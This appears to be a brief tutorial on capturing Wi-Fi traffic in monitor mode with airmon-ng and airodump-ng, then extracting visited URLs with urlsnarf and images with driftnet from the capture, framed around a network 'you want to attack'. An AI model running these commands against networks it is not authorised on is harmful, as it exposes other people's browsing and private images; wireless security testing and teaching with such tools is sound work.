Summary

Sniff Wi-Fi traffic using wireless interfaces supporting monitor mode and packet injection.

Requirements

Description

Open a terminal.

Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start monitor mode on the external adapter (*):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable monitor mode:

airmon-ng stop wlan1mon

(*) This command did not work with ALFA NETWORK AWUS036ACH and ALFA NETWORK AWUS036EAC. The following commands are an alternative way to start monitor mode on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up
